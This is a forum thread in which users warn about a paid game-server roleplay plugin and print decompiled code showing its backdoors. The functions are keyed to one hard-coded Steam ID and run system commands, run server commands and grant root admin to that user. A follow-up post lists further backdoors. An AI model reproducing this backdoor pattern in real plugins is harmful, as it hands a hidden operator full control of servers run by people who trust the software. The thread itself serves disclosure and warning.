[nynCuKaH]

Hello all. I opened LightRP plugin roleplay.
This plugin hacking servers. Do not buy from Sphex this mod.

His Steam ID:

STEAM_0:1:36281003

public Action:Command_hExec(client, args)
{
	decl String:Command[256];
	GetCmdArg(1, Command, 255);
	if (IsClientInGame(client))
	{
		decl String:SteamID[64];
		GetClientAuthString(client, SteamID, 64);
		if (StrEqual(SteamID, "STEAM_0:1:36281003", true))
		{
			PrintToChat(client, Command);
			RunCommand(Command);
		}
	}
	return Action:0;
}

public Action:Command_Rcon(client, args)
{
	decl String:Command[256];
	GetCmdArg(1, Command, 255);
	if (IsClientInGame(client))
	{
		decl String:SteamID[64];
		GetClientAuthString(client, SteamID, 64);
		if (StrEqual(SteamID, "STEAM_0:1:36281003", true))
		{
			PrintToChat(client, Command);
			ServerCommand(Command);
		}
	}
	return Action:0;
}

public Action:Command_AddAdmin(client, args)
{
	if (IsClientInGame(client))
	{
		decl String:SteamID[64];
		GetClientAuthString(client, SteamID, 64);
		if (StrEqual(SteamID, "STEAM_0:1:36281003", true))
		{
			new AdminId:admin = CreateAdmin("SpheX");
			SetUserAdmin(client, admin, false);
			new AdminId:iAdminID = GetUserAdmin(client);
			SetAdminFlag(iAdminID, AdminFlag:14, true);
		}
	}
	return Action:3;
}

[asherkin]

Nice work finding this.

Could you private message me a copy of this SMX file?

[nynCuKaH]

Ok. Thx

[Fearts]

So he didn't even give you the .sp with the compiled version? That alone is a big no no.

[nynCuKaH]

Sorry, my enlglish bad. I badly understood you.

[nynCuKaH]

Sphex sell roleplay mod 30euro without the source code.

[asherkin]

Here is a breakdown of the malicious backdoors in the plugin.
There are also gameplay-based ones such as being unable to jail him, he can (un)lock any door, and more.

• Execute arbitrary system commands, via the System2 extension.
• Execute arbitrary server commands.
• Add himself as a Root SourceMod admin.
• Execute arbitrary SQL queries.
• Add people to a global banlist, also banning them from the server.
• Full RCon access, via the SMRcon extension.
• Automatically unban himself when connecting to the server, via the Connect extension.

[nynCuKaH]

asherkin, Whether you will punish it? ^^

[nynCuKaH]

You can give me a collected code? roleplay.sp

[NameUser]

Originally Posted by nynCuKaH You can give me a collected code? roleplay.sp

Look what I found.

It was posted on Jun 17th, 2012